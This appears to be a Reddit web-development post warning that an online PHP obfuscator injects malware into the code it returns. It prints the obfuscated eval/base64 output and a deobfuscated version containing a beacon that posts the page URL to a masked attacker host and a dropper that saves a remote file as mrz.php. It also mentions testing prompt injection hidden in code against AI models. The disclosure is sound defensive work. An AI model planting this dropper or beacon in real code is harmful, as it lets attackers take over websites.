r/webdev
•
u/tainvie
•
17h ago
The 2nd Google Result for "PHP Obfuscator" Injects Malware Into Your Code
Today, I was experimenting with some basic obfuscation and how different AI models handle different levels of PHP obfuscation, including prompt injection inside code.
At some point, I wanted to quickly try some online PHP obfuscators. After a quick Google search, I tried the first few results.
I didn't even notice anything wrong with the second one. I copied the code into Claude and asked it to deobfuscate it. I was shocked. The website, which is the SECOND Google search result for "php obfuscator," contained malware in its code.
Anyone who tries to obfuscate their code using that online service without checking the actual output basically infects themselves.
DO NOT EVER RUN ANY CODE YOU RECEIVE FROM ANY ONLINE OBFUSCATOR.
Infection still in: 2026-11-28 17:49 (UTC)
-------
Input:
<?php echo "Hello world";Output (partial):
<?php
$stt1 = "b\x56Jha\x39swEP3uX3ELBt ... JM9G838=";
$stt0 = "UOeg+bS3F1jxBM ... WbS8e7/dwpHB";
eval(gzinflate(base64_decode($stt1)));
?>Output (deobfuscated, cleaned up)
<?php
// 1. "Phone home": report this infected page's URL to the attacker
$c2_url = 'https://s****i.top/ghost/';
$cur_url = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$context = stream_context_create([
'http' => [
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => http_build_query(['file_url' => $cur_url]),
],
]);
file_get_contents($c2_url, false, $context);
// 2. Dropper: ?mrz&file=<URL> downloads any remote file and saves mrz.php
if (isset($_GET['mrz'])) {
$payload = file_get_contents($_GET['file']); // attacker-supplied URL
if (file_put_contents('mrz.php', $payload)) {
echo "File : mrz.php Success !";
} else {
echo "Error";
}
exit;
}
// 3. Decoy output so the page looks harmless
echo "Hello world";



